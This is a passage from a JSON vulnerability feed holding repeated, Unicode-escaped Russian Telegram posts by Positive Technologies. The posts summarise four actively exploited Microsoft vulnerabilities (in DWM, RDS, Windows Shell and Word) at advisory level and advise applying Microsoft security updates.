\u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udca1 \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 Microsoft.\n\n#\u0432\u0442\u0440\u0435\u043d\u0434\u0435VM\n@Positive_Technologies", "creation_timestamp": "2026-07-28T14:00:05.533847Z"}, {"uuid": "b78c077c-4731-4442-86d2-08ea0bcf94c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "exploited", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u041e\u0421 Windows. \u041a\u0430\u0436\u0434\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 MaxPatrol VM \u0443\u0436\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u043c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0435.\n\n1\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Desktop Window Manager (DWM)\nPT-2026-7404 (CVE-2026-21519, CVSS \u2014 7,8)\n\n\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, 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\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 SmartScreen \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f Windows Shell.\n\n\u0427\u0442\u043e\u0431\u044b \u0435\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u043b\u0438 \u044f\u0440\u043b\u044b\u043a. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Office. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udca1 \u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 Microsoft.\n\n#\u0432\u0442\u0440\u0435\u043d\u0434\u0435VM\n@Positive_Technologies", "creation_timestamp": "2026-07-28T14:00:05.573949Z"}, {"uuid": "9ef2ca17-1dd3-4bec-801d-ad2706e9d61f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "exploited", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u041e\u0421 Windows. \u041a\u0430\u0436\u0434\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 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\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 SmartScreen \u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f Windows Shell.\n\n\u0427\u0442\u043e\u0431\u044b \u0435\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u043b\u0438 \u044f\u0440\u043b\u044b\u043a. \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438).\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 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"exploited", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u041e\u0421 Windows. \u041a\u0430\u0436\u0434\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 MaxPatrol VM \u0443\u0436\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u043c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0435.\n\n1\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Desktop Window Manager (DWM)\nPT-2026-7404 (CVE-2026-21519, CVSS \u2014 7,8)\n\n\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0445\u0430\u043a\u0435\u0440 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0430\u0434 \u043d\u0435\u0439 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c (\u0443\u0440\u043e\u0432\u0435\u043d\u044c SYSTEM).\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u2014 